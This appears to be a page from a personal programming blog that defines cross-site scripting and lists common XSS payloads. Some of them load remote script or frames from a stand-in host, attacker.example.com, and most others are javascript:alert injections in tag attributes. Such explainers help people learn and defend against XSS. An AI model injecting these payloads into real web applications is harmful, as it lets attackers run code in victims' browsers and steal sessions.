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< ol class = "chapter" > < li class = "chapter-item affix " > < a href = "../../index.html" > Andrew's Blog< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/linux/linux.html" > < strong aria-hidden = "true" > 1.< / strong > linux< / a > < a class = "toggle" > < div > ❱< / div > < / a > < / li > < li > < ol class = "section" > < li class = "chapter-item " > < a href = "../../posts/linux/install_linux.html" > < strong aria-hidden = "true" > 1.1.< / strong > install linux< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/linux/bash_profile.html" > < strong aria-hidden = "true" > 1.2.< / strong > bash profile< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/linux/command_list.html" > < strong aria-hidden = "true" > 1.3.< / strong > command list< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/linux/git_guide.html" > < strong aria-hidden = "true" > 1.4.< / strong > git guide< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/linux/tar.html" > < strong aria-hidden = "true" > 1.5.< / strong > tar< / a > < / li > < / ol > < / li > < li class = "chapter-item " > < a href = "../../posts/mac/mac.html" > < strong aria-hidden = "true" > 2.< / strong > mac< / a > < a class = "toggle" > < div > ❱< / div > < / a > < / li > < li > < ol class = "section" > < li class = "chapter-item " > < a href = "../../posts/mac/macos_profiles.html" > < strong aria-hidden = "true" > 2.1.< / strong > macos profiles< / a > < / li > < / ol > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swift.html" > < strong aria-hidden = "true" > 3.< / strong > swift< / a > < a class = "toggle" > < div > ❱< / div > < / a > < / li > < li > < ol class = "section" > < li class = "chapter-item " > < a href = "../../posts/swift/learn_swift.html" > < strong aria-hidden = "true" > 3.1.< / strong > learn swift basics< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swift_extensions.html" > < strong aria-hidden = "true" > 3.2.< / strong > Swift extensions< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swiftui_extension.html" > < strong aria-hidden = "true" > 3.3.< / strong > SwiftUI extensions< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/install_swift.html" > < strong aria-hidden = "true" > 3.4.< / strong > install swift< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/task_planner.html" > < strong aria-hidden = "true" > 3.5.< / strong > implment task panner app with SwiftUI< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swift_cheat_sheet.html" > < strong aria-hidden = "true" > 3.6.< / strong > Swift Cheat Sheet< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/yinci_url.html" > < strong aria-hidden = "true" > 3.7.< / strong > Personal privacy protocol< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swift_regular_exressions.html" > < strong aria-hidden = "true" > 3.8.< / strong > Swift regular exressions< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html" > < strong aria-hidden = "true" > 3.9.< / strong > How to Create Beautiful iOS Charts in Swift< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/swiftui_source_code.html" > < strong aria-hidden = "true" > 3.10.< / strong > SwiftUI source code< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/swift/use_swift_fetch_iciba_api.html" > < strong aria-hidden = "true" > 3.11.< / strong > use swift fetch iciba API< / a > < / li > < / ol > < / li > < li class = "chapter-item " > < a href = "../../posts/ios/ios.html" > < strong aria-hidden = "true" > 4.< / strong > ios< / a > < a class = "toggle" > < div > ❱< / div > < / a > < / li > < li > < ol class = "section" > < li class = "chapter-item " > < a href = "../../posts/ios/cocaposd_setup_and_install_for_ios_project.html" > < strong aria-hidden = "true" > 4.1.< / strong > cocaposd setup and install for ios project< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/ios/swiftui_show_gif_image.html" > < strong aria-hidden = "true" > 4.2.< / strong > SwiftUI show gif image< / a > < / li > < li class = "chapter-item " > < a href = "../../posts/ios/implement_task_planner_app.html" > < strong aria-hidden = "true" > 4.3.< / strong > implement Task planner App< / a > < / li > < / ol > < / li > < li class = "chapter-item " > < a href = "../../posts/objective_c/objective_c.html" > < strong aria-hidden = "true" > 5.< / strong > objective_c< / a > < a class = "toggle" > < div > ❱< / div > < / a > < / li > < li > < ol class = "section" > < li class = "chapter-item " > < a href = "../../posts/objective_c/objective_c_cheat_sheet
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< h2 id = "what-is-cross-site-scripting" > < a class = "header" href = "#what-is-cross-site-scripting" > What is cross-site scripting?< / a > < / h2 >
< p > Cross-site scripting (XSS) is a web vulnerability that lets a malicious hacker introduce (inject) undesired commands into legitimate client-side code (usually JavaScript) executed by a browser on behalf of the web application.< / p >
< h2 id = "xss-attack-vectors" > < a class = "header" href = "#xss-attack-vectors" > XSS attack vectors< / a > < / h2 >
< p > Common JavaScript language elements used in malicious payloads to perform cross-site scripting attacks include:< / p >
< pre > < code class = "language-html" > The < script> tag:
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< script src=http://attacker.example.com/xss.js> < /script>
< script> alert("XSS");< /script>
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The onload and onerror attributes:
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< img src=x onerror=alert("XSS")>
< body onload=alert("XSS")>
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The < body> tag attributes:
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< body background="javascript:alert("XSS")">
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The < img> tag attributes:
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< img src="javascript:alert("XSS");">
< img dynsrc="javascript:alert('XSS')">
< img lowsrc="javascript:alert('XSS')">
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The < iframe> tag:
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< iframe src="http://attacker.example.com/xss.html">
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The < input> tag attributes:
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< input type="image" src="javascript:alert('XSS');">
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The < link> tag:
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< link rel="stylesheet" href="javascript:alert('XSS');">
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The < table> and < td> tag attributes:
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< table background="javascript:alert('XSS')">
< td background="javascript:alert('XSS')">
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The < div> tag attributes:
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< div style="background-image: url(javascript:alert('XSS'))">
< div style="width: expression(alert('XSS'));">
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The < object> tag:
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< object type="text/x-scriptlet" data="http://attacker.example.com/xss.html">
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< / code > < / pre >
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